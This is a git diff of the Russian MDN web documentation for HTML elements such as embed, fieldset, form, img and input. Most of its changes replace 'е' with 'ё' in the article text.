        Примером для <i> может быть: «Королева Мэри отплыла прошлой ночью». Здесь нет никакого дополнительного акцента или важности на слове "Королева Мэри". Просто указывается, что речь идёт не о королеве по имени Мария, а о корабле по имени Королева Мария. Другим примером для <i> может быть: «Слово ‘the’ это артикль».

        Пример

        diff --git a/files/ru/web/html/element/embed/index.html b/files/ru/web/html/element/embed/index.html index 7fbe94c866..7069cf7d44 100644 --- a/files/ru/web/html/element/embed/index.html +++ b/files/ru/web/html/element/embed/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/embed -

        {{Note("Этот раздел посвящен только элементу, который является частью стандарта HTML5, и никак не касается ранних, нестандартизированных его реализаций.")}}

        +

        {{Note("Этот раздел посвящён только элементу, который является частью стандарта HTML5, и никак не касается ранних, нестандартизированных его реализаций.")}}

        Имейте ввиду, что большинство современных браузеров посчитали устаревшей и удалили поддержку встраивания плагинов, так что использование <embed>, как правило, не рекомендуется, если вы хотите, чтобы ваш сайт одинаково работал у всех его пользователей.

        @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/embed - + @@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/embed - + @@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/embed
        • Другие элементы, используемые для встраивания различного рода контента: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, and {{HTMLElement("video")}}.
        • -
        • Свойства, для позиционирования и определения размера внедренного контента в его фрейме: {{cssxref("object-position")}} and {{cssxref("object-fit")}}
        • +
        • Свойства, для позиционирования и определения размера внедрённого контента в его фрейме: {{cssxref("object-position")}} and {{cssxref("object-fit")}}

        {{ HTMLRef }}

        diff --git a/files/ru/web/html/element/fieldset/index.html b/files/ru/web/html/element/fieldset/index.html index 2d526b1275..f6cae1b5b4 100644 --- a/files/ru/web/html/element/fieldset/index.html +++ b/files/ru/web/html/element/fieldset/index.html @@ -54,9 +54,9 @@ translation_of: Web/HTML/Element/fieldset

        {{ EmbedLiveSample('Простой_fieldset', '100%', '80') }}

        -

        Отключенный fieldset

        +

        Отключённый fieldset

        -

        Этот пример показывает отключенный <fieldset> с двумя элементами управления внутри.

        +

        Этот пример показывает отключённый <fieldset> с двумя элементами управления внутри.

        <form action="#">
           <fieldset disabled>
        @@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/fieldset
           </fieldset>
         </form>
        -

        {{ EmbedLiveSample('Отключенный_fieldset', '100%', '110') }}

        +

        {{ EmbedLiveSample('Отключённый_fieldset', '100%', '110') }}

        Техническая сводка

        diff --git a/files/ru/web/html/element/figcaption/index.html b/files/ru/web/html/element/figcaption/index.html index b452665035..4250d317af 100644 --- a/files/ru/web/html/element/figcaption/index.html +++ b/files/ru/web/html/element/figcaption/index.html @@ -79,7 +79,7 @@ translation_of: Web/HTML/Element/figcaption

        Поддержка браузерами

        - +

        {{Compat("html.elements.figcaption")}}

        diff --git a/files/ru/web/html/element/figure/index.html b/files/ru/web/html/element/figure/index.html index 2842179eff..5a04e50384 100644 --- a/files/ru/web/html/element/figure/index.html +++ b/files/ru/web/html/element/figure/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/figure

        Примечания по использованию

          -
        • Обычно <figure> это рисунок, иллюстрация, диаграмма, фрагмент кода, и т.д., на который ссылаются в основном потоке документа, но может быть перенесен в другую часть документа или в приложение не нарушив основной поток.
        • +
        • Обычно <figure> это рисунок, иллюстрация, диаграмма, фрагмент кода, и т.д., на который ссылаются в основном потоке документа, но может быть перенесён в другую часть документа или в приложение не нарушив основной поток.
        • Являясь секционным корнем, структура содержимого элемента <figure> исключается из основной структуры документа.
        • Подпись может быть связана с элементом <figure> с помощью вставки {{HTMLElement("figcaption")}} внутри него (как первый или последний потомок). Первый элемент <figcaption> в иллюстрации предоставляет её подпись (заголовок).
        diff --git a/files/ru/web/html/element/font/index.html b/files/ru/web/html/element/font/index.html index b3c1310ab8..62125859fc 100644 --- a/files/ru/web/html/element/font/index.html +++ b/files/ru/web/html/element/font/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/font

         

        -
        Начиная с HTML 4, HTML больше не передает информацию о стиле (вне элемента {{HTMLElement ("style")}} или атрибута style для каждого элемента). Для любой новой веб-разработки стили должны быть написаны только с использованием CSS.
        +
        Начиная с HTML 4, HTML больше не передаёт информацию о стиле (вне элемента {{HTMLElement ("style")}} или атрибута style для каждого элемента). Для любой новой веб-разработки стили должны быть написаны только с использованием CSS.
         
         Предыдущее поведение элемента {{HTMLElement ("font")}} может быть достигнуто и даже лучше контролироваться с помощью CSS CSS-свойств шрифтов.
        @@ -38,7 +38,7 @@ translation_of: Web/HTML/Element/font
        {{htmlattrdef("face")}}
        -
        Этот атрибут содержит список разделенных запятыми одного или нескольких имен шрифтов. Текст документа в стиле по умолчанию отображается на первой грани шрифта, поддерживаемой браузером клиента. Если в локальной системе не указан шрифт, браузер обычно по умолчанию использует пропорциональный или фиксированный шрифт для этой системы.
        +
        Этот атрибут содержит список разделённых запятыми одного или нескольких имён шрифтов. Текст документа в стиле по умолчанию отображается на первой грани шрифта, поддерживаемой браузером клиента. Если в локальной системе не указан шрифт, браузер обычно по умолчанию использует пропорциональный или фиксированный шрифт для этой системы.
        {{htmlattrdef("size")}}
        diff --git a/files/ru/web/html/element/footer/index.html b/files/ru/web/html/element/footer/index.html index b27f1eeb6b..8d57357ab7 100644 --- a/files/ru/web/html/element/footer/index.html +++ b/files/ru/web/html/element/footer/index.html @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/footer
        - + @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/footer - + - + @@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/footer
        • Заключите информацию об авторе в элемент {{HTMLElement("address")}}, который может быть добавлен в элемент <footer>.
        • -
        • Элемент <footer> не относится к секционному контенту, а значит не создает новый раздел в структуре HTML-документа.
        • +
        • Элемент <footer> не относится к секционному контенту, а значит не создаёт новый раздел в структуре HTML-документа.

        Примеры

        diff --git a/files/ru/web/html/element/form/index.html b/files/ru/web/html/element/form/index.html index 070dc37cc3..f826d9ed93 100644 --- a/files/ru/web/html/element/form/index.html +++ b/files/ru/web/html/element/form/index.html @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/form
        {{htmlattrdef("accept")}} {{HTMLVersionInline(4)}} {{obsolete_inline}}
        -
        Список типов содержимого, разделенных запятой, которые принимает сервер. +
        Список типов содержимого, разделённых запятой, которые принимает сервер.
        Примечание об использовании: Этот атрибут был удалён в HTML5 и его не следует больше использовать. Взамен, используйте {{htmlattrxref("accept", "input")}} атрибут заданного {{HTMLElement("input")}} элемента.
        {{htmlattrdef("accept-charset")}}
        -
        Разделенные пробелами символьные кодировки, которые принимает сервер. Браузер использует их в том порядке, в котором они перечислены. Значение по умолчанию означает ту же кодировку что и у страницы.
        +
        Разделённые пробелами символьные кодировки, которые принимает сервер. Браузер использует их в том порядке, в котором они перечислены. Значение по умолчанию означает ту же кодировку что и у страницы.
        (В предыдущей версии HTML, различные кодировки могли быть разделены запятыми.)
        {{htmlattrdef("action")}}
        URI-адрес программы, которая обрабатывает информацию переданную через форму. Это значение может быть переписано с помощью атрибута {{htmlattrxref("formaction", "button")}} на {{HTMLElement("button")}} или {{HTMLElement("input")}} элементе.
        diff --git a/files/ru/web/html/element/head/index.html b/files/ru/web/html/element/head/index.html index d3b60218c1..21fa32018b 100644 --- a/files/ru/web/html/element/head/index.html +++ b/files/ru/web/html/element/head/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/head
        - + - + @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/head
        {{htmlattrdef("profile")}} {{obsolete_inline}}
        -
        {{glossary("URI")}} одного или более профилей метаданных, разделенных пробелами.
        +
        {{glossary("URI")}} одного или более профилей метаданных, разделённых пробелами.

        Пример

        @@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/head - + diff --git a/files/ru/web/html/element/header/index.html b/files/ru/web/html/element/header/index.html index b9a383cc64..9aca0b1967 100644 --- a/files/ru/web/html/element/header/index.html +++ b/files/ru/web/html/element/header/index.html @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/header - + @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/header - + - + @@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/header

        Примечание

        -

        Элемент <header> не относится к секционному контенту , а значит не создает новый раздел в структуре HTML-документа. При этом элемент <header> обычно должен содержать заголовок ближайшего раздела (элементы h1-h6), но это не обязательно.

        +

        Элемент <header> не относится к секционному контенту , а значит не создаёт новый раздел в структуре HTML-документа. При этом элемент <header> обычно должен содержать заголовок ближайшего раздела (элементы h1-h6), но это не обязательно.

        Историческое употребление

        @@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/header <h2>Планета Земля</h2> <p>Опубликовано в среду, 4 октября 2017, Джейн Смит</p> </header> - <p>Мы живем на сине-зеленой планете, на которой до сих пор так много неизведанного.</p> + <p>Мы живём на сине-зелёной планете, на которой до сих пор так много неизведанного.</p> <p><a href="https://janesmith.com/the-planet-earth/">Продолжить чтение...</a></p> </article> diff --git a/files/ru/web/html/element/heading_elements/index.html b/files/ru/web/html/element/heading_elements/index.html index 8917869d9f..9b7f70b0a6 100644 --- a/files/ru/web/html/element/heading_elements/index.html +++ b/files/ru/web/html/element/heading_elements/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/Heading_Elements - + @@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/Heading_Elements - + - + @@ -166,7 +166,7 @@ translation_of: Web/HTML/Element/Heading_Elements

        Содержание раздела маркировки

        -

        Другим распространенным методом навигации для пользователей программ чтения с экрана является создание списка содержимого секций и использование его для определения макета страницы.

        +

        Другим распространённым методом навигации для пользователей программ чтения с экрана является создание списка содержимого секций и использование его для определения макета страницы.

        Содержимое секционирования можно пометить, используя комбинацию aria-labelledby и {{htmlattrxref("id")}} атрибута, с ярлыком, кратко описывающим назначение раздела. Этот метод полезен в ситуациях, когда на одной странице имеется более одного элемента секционирования.

        @@ -189,7 +189,7 @@ translation_of: Web/HTML/Element/Heading_Elements </footer> -

        В этом примере технология чтения с экрана объявила бы, что есть два {{HTMLElement("nav")}} разделы, один называется «Основная навигация», а другой - «Нижний колонтитул». Если ярлыки не были предоставлены, человеку, использующему программное обеспечение для чтения с экрана, возможно, придется расследовать каждый nav содержание элемента, чтобы определить их назначение.

        +

        В этом примере технология чтения с экрана объявила бы, что есть два {{HTMLElement("nav")}} разделы, один называется «Основная навигация», а другой - «Нижний колонтитул». Если ярлыки не были предоставлены, человеку, использующему программное обеспечение для чтения с экрана, возможно, придётся расследовать каждый nav содержание элемента, чтобы определить их назначение.

        • Использование атрибута aria-labelledby
        • diff --git a/files/ru/web/html/element/hgroup/index.html b/files/ru/web/html/element/hgroup/index.html index 029afcecdb..73d243817c 100644 --- a/files/ru/web/html/element/hgroup/index.html +++ b/files/ru/web/html/element/hgroup/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/hgroup
          -

          Примечание использования: Этот элемент был удален из HTML5 (W3C) спецификации , но до сих пор остается в спецификации WHATWG. Он частично встроен в большинство браузеров, хотя бы поэтому вряд ли уйдет. Поскольку схематический алгоритм не реализован ни в одном браузере, семантика тега <hgroup> на практике реализована только теоретически. Спецификация HTML5 (W3C) дает совет как обозначать подзаголовки, альтернативные заголовки и слоганы.

          +

          Примечание использования: Этот элемент был удалён из HTML5 (W3C) спецификации , но до сих пор остаётся в спецификации WHATWG. Он частично встроен в большинство браузеров, хотя бы поэтому вряд ли уйдёт. Поскольку схематический алгоритм не реализован ни в одном браузере, семантика тега <hgroup> на практике реализована только теоретически. Спецификация HTML5 (W3C) даёт совет как обозначать подзаголовки, альтернативные заголовки и слоганы.

          HTML <hgroup> Элемент (HTML Headings Group Element - Элемент Группы Заголовков HTML) представляет заголовок раздела. Он определяет один заголовок, который участвует в схеме документа как заголовок явно или неявно заданного раздела, к которому он принадлежит.

          diff --git a/files/ru/web/html/element/hr/index.html b/files/ru/web/html/element/hr/index.html index 054c0923f2..708ea55022 100644 --- a/files/ru/web/html/element/hr/index.html +++ b/files/ru/web/html/element/hr/index.html @@ -52,15 +52,15 @@ translation_of: Web/HTML/Element/hr
          {{htmlattrdef("align")}} {{deprecated_inline}}
          -
          Задает правило выравнивания.По умолчанию значение выставлено как left
          +
          Задаёт правило выравнивания.По умолчанию значение выставлено как left
          {{htmlattrdef("color")}} {{Non-standard_inline}}
          -
          Задает цвет линии
          +
          Задаёт цвет линии
          {{htmlattrdef("noshade")}} {{deprecated_inline}}
          Sets the rule to have no shading.
          {{htmlattrdef("size")}} {{deprecated_inline}}
          Устанавливает высоту в px
          {{htmlattrdef("width")}} {{deprecated_inline}}
          -
          Задает длину линии в px либо в %
          +
          Задаёт длину линии в px либо в %

          Example

          diff --git a/files/ru/web/html/element/html/index.html b/files/ru/web/html/element/html/index.html index 7b1b856947..2787e89b66 100644 --- a/files/ru/web/html/element/html/index.html +++ b/files/ru/web/html/element/html/index.html @@ -22,7 +22,7 @@ translation_of: Web/HTML/Element/html
        - + @@ -31,11 +31,11 @@ translation_of: Web/HTML/Element/html В {{glossary("HTML5")}} закрывающий тег может быть пропущен. В старых версиях HTML, если сразу за элементом <html> следует комментарий (при наличии элемента {{HTMLElement("body")}}), то закрывающий тег пропускать нельзя. - + - + @@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/html
        {{htmlattrdef("version")}} {{obsolete_inline}}
        Определяет версию HTML DTD (Document Type Definition, больше известное как {{glossary("Doctype")}}), которая управляет текущим документом. Этот атрибут не нужен, потому что он является избыточным, так как есть информация, указываемая в объявлении типа документа.
        {{htmlattrdef("xmlns")}}
        -
        Определяет {{glossary("Namespace", "пространство имен")}} {{glossary("XHTML", "XHTML-документа")}}. Значение по умолчанию "http://www.w3.org/1999/xhtml". Это требуется при {{glossary("parse", "парсинге")}} документов с помощью {{glossary("parser", "парсера")}} {{glossary("XML")}} и необязательно для документов text/html.
        +
        Определяет {{glossary("Namespace", "пространство имён")}} {{glossary("XHTML", "XHTML-документа")}}. Значение по умолчанию "http://www.w3.org/1999/xhtml". Это требуется при {{glossary("parse", "парсинге")}} документов с помощью {{glossary("parser", "парсера")}} {{glossary("XML")}} и необязательно для документов text/html.

        Пример

        diff --git a/files/ru/web/html/element/img/index.html b/files/ru/web/html/element/img/index.html index 86e976ef18..a8434854db 100644 --- a/files/ru/web/html/element/img/index.html +++ b/files/ru/web/html/element/img/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/img -

        Приведенный выше пример показывает очень простое использование элемента <img>. Атрибут src обязателен и содержит путь к изображению, которое вы хотите встроить в документ. Атрибут alt содержит текстовое описание изображения, которое не обязательно, но невероятно полезно для доступности — программы чтения с экрана читают это описание своим пользователям, так они знают какое изображение показано, и так же оно отображается на странице, если изображение не может быть загружено по какой-либо причине.

        +

        Приведённый выше пример показывает очень простое использование элемента <img>. Атрибут src обязателен и содержит путь к изображению, которое вы хотите встроить в документ. Атрибут alt содержит текстовое описание изображения, которое не обязательно, но невероятно полезно для доступности — программы чтения с экрана читают это описание своим пользователям, так они знают какое изображение показано, и так же оно отображается на странице, если изображение не может быть загружено по какой-либо причине.

        Есть много других атрибутов, которые могут быть указаны для достижения различных целей, например:

        @@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/img - + @@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/img - + @@ -100,7 +100,7 @@ translation_of: Web/HTML/Element/img
        {{htmlattrdef("alt")}}
        -

        Этим атрибутом задается альтернативное текстовое описание изображения.

        +

        Этим атрибутом задаётся альтернативное текстовое описание изображения.

        Заметка: Браузеры не всегда отображают изображение на которое ссылается элемент. Это относится к неграфическим браузерам (включая те, которые используются людьми с нарушениями зрения), если пользователь решает не отображать изображения, или если браузер не может отобразить изображение, потому что оно имеет неверный или неподдерживаемый тип. В этих случаях браузер может заменить изображение текстом записанным в атрибуте alt элемента. По этим и другим причинам вы должны по возможности предоставлять полезное описание в атрибуте alt.

        @@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/img
        {{htmlattrdef("crossorigin")}}
        -

        Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке изображения или нет. Изображения с включенной поддержкой CORS могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не будучи "испорченными". Допустимые значения:

        +

        Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке изображения или нет. Изображения с включённой поддержкой CORS могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не будучи "испорченными". Допустимые значения:

        • anonymous: Запрос cross-origin (т.е. с HTTP-заголовком {{httpheader("Origin")}}) выполняется, но параметры доступа не передаются (т.е. нет {{glossary("cookie")}}, не используется стандарт X.509 или базовая HTTP-аутентификация). Если сервер не предоставляет параметры доступа исходному сайту (не устанавливая HTTP-заголовок {{httpheader("Access-Control-Allow-Origin")}}), изображение будет "испорчено" и его использование будет ограничено;
        • @@ -150,7 +150,7 @@ translation_of: Web/HTML/Element/img

          Это атрибут логического типа, указывающий, что изображение является частью серверной карты ссылок. Если это так, то точные координаты клика отправляются на сервер.

          -

          Заметка: Этот атрибут разрешен, только если элемент <img> является потомком элемента {{htmlelement("a")}} с валидным (соответствующий требованиям) атрибутом {{htmlattrxref("href","a")}}.

          +

          Заметка: Этот атрибут разрешён, только если элемент <img> является потомком элемента {{htmlelement("a")}} с валидным (соответствующий требованиям) атрибутом {{htmlattrxref("href","a")}}.

        {{htmlattrdef("referrerpolicy")}} {{experimental_inline}}
        @@ -161,16 +161,16 @@ translation_of: Web/HTML/Element/img
      • no-referrer: Заголовок {{httpheader("Referer")}} не будет отправлен;
      • no-referrer-when-downgrade: Заголовок {{httpheader("Referer")}} не отправляется, когда происходит переход к источнику без {{glossary("TLS")}} ({{glossary("HTTPS")}}). Это поведение по умолчанию для {{glossary("user agent", "пользовательских агентов")}}, если не указано иное;
      • origin: Заголовок {{httpheader("Referer")}} будет содержать схему адресации ресурса (HTTP, HTTPS, {{glossary("FTP")}} и т.д), {{glossary("host", "хост")}} и {{glossary("port", "порт")}};
      • -
      • origin-when-cross-origin: Переход на другие источники ограничит включенные реферальные данные схемой адресации ресурса, {{glossary("host", "хостом")}} и {{glossary("port", "портом")}}, в то время как переход из того же источника будет включать полный путь реферала;
      • -
      • unsafe-url: Заголовок {{httpheader("Referer")}} будет включать источник и путь, но не фрагмент {{glossary("URL")}}, пароль или имя пользователя. Этот метод небезопасен, потому что будет утечка источников и путей от ресурсов, защищенных {{glossary("TLS")}}, к незащищенным источникам.
      • +
      • origin-when-cross-origin: Переход на другие источники ограничит включённые реферальные данные схемой адресации ресурса, {{glossary("host", "хостом")}} и {{glossary("port", "портом")}}, в то время как переход из того же источника будет включать полный путь реферала;
      • +
      • unsafe-url: Заголовок {{httpheader("Referer")}} будет включать источник и путь, но не фрагмент {{glossary("URL")}}, пароль или имя пользователя. Этот метод небезопасен, потому что будет утечка источников и путей от ресурсов, защищённых {{glossary("TLS")}}, к незащищённым источникам.
      • {{htmlattrdef("sizes")}}
        -

        Список из одного или нескольких строк, разделенных запятыми, указывающих набор размеров источника. Каждый размер источника состоит из:

        +

        Список из одного или нескольких строк, разделённых запятыми, указывающих набор размеров источника. Каждый размер источника состоит из:

          -
        1. Условия меда-запроса. Оно должно быть пропущено для последнего элемента.
        2. +
        3. Условия мёда-запроса. Оно должно быть пропущено для последнего элемента.
        4. Значения размера источника.
        @@ -180,13 +180,13 @@ translation_of: Web/HTML/Element/img
        {{glossary("URL")}} изображения. Этот атрибут является обязательным для элемента <img>. В браузерах, поддерживающих srcset, src обрабатывается как изображение-кандидат с дескриптором плотности пикселей 1x, если только изображение с этим дескриптором уже не определено в srcset или если srcset не содержит дескрипторы 'w'.
        {{htmlattrdef("srcset")}}
        -

        Список из одной или нескольких строк, разделенных запятыми, указывающих набор возможным источников изображения для использования {{glossary("user agent", "пользовательскими агентами")}}. Каждая строка состоит из:

        +

        Список из одной или нескольких строк, разделённых запятыми, указывающих набор возможным источников изображения для использования {{glossary("user agent", "пользовательскими агентами")}}. Каждая строка состоит из:

        1. {{glossary("URL")}} изображения.
        2. Необязательного, пробела, сопровождаемого:
            -
          • дескриптором ширины или положительным целым числом, за которым сразу же следует 'w'. Дескриптор ширины делится на размер источника, полученный из атрибута sizes, для расчета эффективной плотности пикселей;
          • +
          • дескриптором ширины или положительным целым числом, за которым сразу же следует 'w'. Дескриптор ширины делится на размер источника, полученный из атрибута sizes, для расчёта эффективной плотности пикселей;
          • дескриптором плотности пикселей, который является положительным числом с плавающей точкой за которым сразу же следует 'x'.
        3. @@ -196,7 +196,7 @@ translation_of: Web/HTML/Element/img

          Нельзя смешивать дескрипторы ширины с дескрипторами плотности пикселей в одном атрибуте srcset. Повторение дескрипторов (например, два источника в одном srcset с одинаковым дескриптором '2x') так же является недопустимым.

          -

          {{glossary("user agent", "Пользовательские агенты")}} выбирают любой из доступных источников на свое усмотрение. Это предоставляет им значительную свободу действий для адаптации их выбора на основе таких вещей, как предпочтения пользователя или {{glossary("bandwidth", "пропускная способность")}}. Смотрите наше руководство "Адаптивные изображения" для примера.

          +

          {{glossary("user agent", "Пользовательские агенты")}} выбирают любой из доступных источников на своё усмотрение. Это предоставляет им значительную свободу действий для адаптации их выбора на основе таких вещей, как предпочтения пользователя или {{glossary("bandwidth", "пропускная способность")}}. Смотрите наше руководство "Адаптивные изображения" для примера.

        {{htmlattrdef("width")}}
        Внутренняя ширина (см. {{glossary("intrinsic size", "Внутренний размер")}}) изображения в пикселях.
        @@ -234,7 +234,7 @@ translation_of: Web/HTML/Element/img

        Ссылка на более подробное описание изображения. Возможными значениями являются {{glossary("URL")}} или {{htmlattrxref("id")}} элемента.

        -

        Заметка: Этот атрибут упомянут в последней версии от {{glossary("W3C")}}, HTML 5.2, но был удален из живого стандарта HTML от {{glossary("WHATWG")}}. У него неопределенное будущее; авторы должны использовать альтернативы {{glossary("WAI")}}-{{glossary("ARIA")}}, такие как aria-describedby или aria-details.

        +

        Заметка: Этот атрибут упомянут в последней версии от {{glossary("W3C")}}, HTML 5.2, но был удалён из живого стандарта HTML от {{glossary("WHATWG")}}. У него неопределённое будущее; авторы должны использовать альтернативы {{glossary("WAI")}}-{{glossary("ARIA")}}, такие как aria-describedby или aria-details.

        {{htmlattrdef("name")}} {{Obsolete_Inline}}
        @@ -306,7 +306,7 @@ translation_of: Web/HTML/Element/img

        Создание значимых альтернативных описаний

        -

        Значение атрибута alt должно четко и кратко описывать содержимое изображения. Он не должен описывать наличие самого изображения или название файла изображения. Если атрибут alt намеренно пропущен, потому что изображение не имеет текстового эквивалента, рассмотрите альтернативные способы представления содержимого, которое изображение пытается передать.

        +

        Значение атрибута alt должно чётко и кратко описывать содержимое изображения. Он не должен описывать наличие самого изображения или название файла изображения. Если атрибут alt намеренно пропущен, потому что изображение не имеет текстового эквивалента, рассмотрите альтернативные способы представления содержимого, которое изображение пытается передать.

        Плохо

        diff --git a/files/ru/web/html/element/index.html b/files/ru/web/html/element/index.html index 2fe4bfa7e7..2e960c4e4e 100644 --- a/files/ru/web/html/element/index.html +++ b/files/ru/web/html/element/index.html @@ -33,7 +33,7 @@ translation_of: Web/HTML/Element

        Текстовое содержание

        -
        Используйте текстовые элементы HTML для организации блоков или разделов содержания, размещенные между тегами открытия <body> и закрытия </body>. Важное значение для {{Glossary("accessibility")}} и {{Glossary("SEO")}}, чтобы эти элементы определили цель или структуру этого контента.
        +
        Используйте текстовые элементы HTML для организации блоков или разделов содержания, размещённые между тегами открытия <body> и закрытия </body>. Важное значение для {{Glossary("accessibility")}} и {{Glossary("SEO")}}, чтобы эти элементы определили цель или структуру этого контента.
         
        diff --git a/files/ru/web/html/element/input/button/index.html b/files/ru/web/html/element/input/button/index.html index 984fa13988..cd540ba599 100644 --- a/files/ru/web/html/element/input/button/index.html +++ b/files/ru/web/html/element/input/button/index.html @@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/input/button

        Простая кнопка

        -

        Мы начнем с создания простой кнопки с обработчиком события {{event("click")}} , который запускает наш компьютер (ну, он переключает value кнопки и текстовое содержимое следующего абзаца):

        +

        Мы начнём с создания простой кнопки с обработчиком события {{event("click")}} , который запускает наш компьютер (ну, он переключает value кнопки и текстовое содержимое следующего абзаца):

        <form>
           <input type="button" value="Запустить ПК">
        diff --git a/files/ru/web/html/element/input/color/index.html b/files/ru/web/html/element/input/color/index.html
        index 0dcdf05619..8a27bf8d8b 100644
        --- a/files/ru/web/html/element/input/color/index.html
        +++ b/files/ru/web/html/element/input/color/index.html
        @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/color
         ---
         
        {{HTMLRef}}
        -

        {{HTMLElement("input")}} элементы типа color предоставляют элемент пользовательского интерфейса, который позволяет пользователю указать цвет либо с помощью визуального интерфейса выбора цвета, либо путем ввода цвета в текстовое поле в шестнадцатеричном формате #rrggbb. Разрешены только простые цвета (без альфа-канала), хотя CSS colors имеет больше форматов, например названия цветов, функциональные обозначения и шестнадцатеричный формат с альфа-каналом.

        +

        {{HTMLElement("input")}} элементы типа color предоставляют элемент пользовательского интерфейса, который позволяет пользователю указать цвет либо с помощью визуального интерфейса выбора цвета, либо путём ввода цвета в текстовое поле в шестнадцатеричном формате #rrggbb. Разрешены только простые цвета (без альфа-канала), хотя CSS colors имеет больше форматов, например названия цветов, функциональные обозначения и шестнадцатеричный формат с альфа-каналом.

        Представление элемента может существенно отличаться от одного браузера и/или платформы к другой — это может быть простой текстовый ввод, который автоматически проверяет правильность ввода информации о цвете в соответствующем формате, или стандартный для платформы выбор цвета, или какое-то пользовательское окно выбора цвета.

        @@ -51,10 +51,10 @@ translation_of: Web/HTML/Element/input/color

        Value

        -

        {{Htmlattrxref ("value","input")}} элемента {{HTMLElement ("input")}} типа color всегда является {{domxref ("DOMString")}}, который содержит 7-символьную строку, задающую цвет RGB в шестнадцатеричном формате. Хотя вы можете ввести цвет в верхнем или нижнем регистре, он будет сохранен в виде нижнего регистра. Value никогда не бывает в какой-либо другой форме и никогда не бывает пустым.

        +

        {{Htmlattrxref ("value","input")}} элемента {{HTMLElement ("input")}} типа color всегда является {{domxref ("DOMString")}}, который содержит 7-символьную строку, задающую цвет RGB в шестнадцатеричном формате. Хотя вы можете ввести цвет в верхнем или нижнем регистре, он будет сохранён в виде нижнего регистра. Value никогда не бывает в какой-либо другой форме и никогда не бывает пустым.

        -

        Примечание: установка значения на всё, что не является допустимым, полностью непрозрачным цветом RGB в шестнадцатеричной системе счисления, приведет к тому, что значение будет установлено на #000000. В частности, вы не можете использовать стандартные имена цветов CSS или любой синтаксис функций CSS для установки значения. Это имеет смысл, если иметь в виду, что HTML и CSS-это отдельные языки и спецификации. Кроме того, цвета с альфа-каналом не поддерживаются; указание цвета в 9-символьной шестнадцатеричной системе счисления (например, #009900aa) также приведет к тому, что цвет будет установлен на #000000.

        +

        Примечание: установка значения на всё, что не является допустимым, полностью непрозрачным цветом RGB в шестнадцатеричной системе счисления, приведёт к тому, что значение будет установлено на #000000. В частности, вы не можете использовать стандартные имена цветов CSS или любой синтаксис функций CSS для установки значения. Это имеет смысл, если иметь в виду, что HTML и CSS-это отдельные языки и спецификации. Кроме того, цвета с альфа-каналом не поддерживаются; указание цвета в 9-символьной шестнадцатеричной системе счисления (например, #009900aa) также приведёт к тому, что цвет будет установлен на #000000.

        Использование настроек цвета

        @@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/input/color

        {{EmbedLiveSample("Providing_a_default_color", 700, 30)}}

        -

        Если вы не зададите значение, то по умолчанию будет #000000, то есть черный цвет. Значение должно быть в семизначной шестнадцатеричной системе счисления, то есть символ"#", за которым следуют две цифры, каждая из которых представляет красный, зеленый и синий цвета, например: #rrggbb. Если у вас есть цвета в любом другом формате (например, имена цветов CSS или цветовые функции CSS, такие как rgb () или rgba ()), вам придется преобразовать их в шестнадцатеричные перед установкой значения.

        +

        Если вы не зададите значение, то по умолчанию будет #000000, то есть чёрный цвет. Значение должно быть в семизначной шестнадцатеричной системе счисления, то есть символ"#", за которым следуют две цифры, каждая из которых представляет красный, зелёный и синий цвета, например: #rrggbb. Если у вас есть цвета в любом другом формате (например, имена цветов CSS или цветовые функции CSS, такие как rgb () или rgba ()), вам придётся преобразовать их в шестнадцатеричные перед установкой значения.

        Отслеживание изменений цвета

        @@ -109,7 +109,7 @@ function watchColorPicker(event) {

        Пример

        -

        Давайте создадим пример, который делает немного больше с цветом входного сигнала путем отслеживания {{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}} событий, чтобы взять новый цвет и применить его к каждому {{HTMLElement("Р")}} элемента в документе.

        +

        Давайте создадим пример, который делает немного больше с цветом входного сигнала путём отслеживания {{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}} событий, чтобы взять новый цвет и применить его к каждому {{HTMLElement("Р")}} элемента в документе.

        HTML

        diff --git a/files/ru/web/html/element/input/date/index.html b/files/ru/web/html/element/input/date/index.html index c69a1eba71..b743e3bd44 100644 --- a/files/ru/web/html/element/input/date/index.html +++ b/files/ru/web/html/element/input/date/index.html @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/date

        Значение

        -

        Возвращает {{domxref("DOMString")}}, представляющий значение даты введенной в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:

        +

        Возвращает {{domxref("DOMString")}}, представляющий значение даты введённой в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:

